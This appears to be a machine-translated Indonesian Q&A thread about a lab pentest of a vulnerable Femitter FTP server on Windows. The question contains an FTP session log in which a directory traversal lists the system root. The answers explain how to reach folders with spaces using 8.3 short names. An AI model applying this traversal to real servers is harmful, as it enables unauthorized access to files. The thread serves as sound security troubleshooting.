Saya melakukan pentest yang disetujui dalam lingkungan referensi tertutup, dan berjuang pada masalah yang tampaknya sederhana, saat ini saya tidak bisa menyelesaikannya.
Ketika mencoba menjalankan serangan direktori traversal terhadap server FTP Fermitter yang rentan yang berjalan di MS Windows OS, dimungkinkan untuk melakukan LIST pada root sistem (alamat dan daftar konten yang diubah di sini hanya untuk referensi):
# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root):
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx 1 ftp ftp 0 Sep 23 2015 AUTOEXEC.BAT
-rw-rw-rw- 1 ftp ftp 0 Sep 23 2015 CONFIG.SYS
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 Documents and Settings
dr--r--r-- 1 ftp ftp 0 Sep 23 2015 Program Files
drw-rw-rw- 1 ftp ftp 0 Sep 23 2015 WINDOWS
226 File sent ok
Namun, jika saya ingin membuat daftar isi folder yang berisi ruang putih seperti Documents and settings
, saya tidak dapat membuat daftar isi direktori karena ruang putih diabaikan.
ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
Saya sudah mencoba menggunakan klien FTP yang berbeda (CLI dan GUI, di Linux dan Windows) dan mereka mengabaikan ruang putih atau melarang direktori traversal.
Juga mencoba skrip serangan pada Python dengan menggunakan soket mentah pertama dan kemudian ftplib untuk mengirim perintah dalam format HEX langsung ke server FTP, tetapi tidak berhasil.
Googling selama beberapa jam tidak menghasilkan solusi yang berfungsi (ya, ada banyak opsi, yang tidak berfungsi), itulah sebabnya ada seseorang di sini, yang memiliki masalah yang sama. Cukup yakin, bahwa ini bukan pertama kalinya dibutuhkan direktori traversal dengan spasi putih.
sumber
\
atau mengutip string direktoriJawaban:
Solusi yang disarankan oleh @Dogeatcatworld untuk menggunakan notasi pendek direktori MS Windows seperti
C:\Docume~1\
.Artikel yang sangat bagus dari MS Knowledge Base menjelaskan notasi direktori 8.3: Bagaimana Windows Menghasilkan Nama File 8.3 dari Nama File Panjang
sumber
Sumber: Bagaimana saya bisa menemukan jalur pendek dari direktori / file Windows?
sumber
Ftp tidak menggunakan penyandian url, jadi% xx tidak akan berfungsi kecuali Anda menggunakan ftp di peramban yang dapat menerjemahkannya untuk Anda.
Coba gunakan tanda kutip di sekitarnya, yaitu: ls "../../some dir"
sumber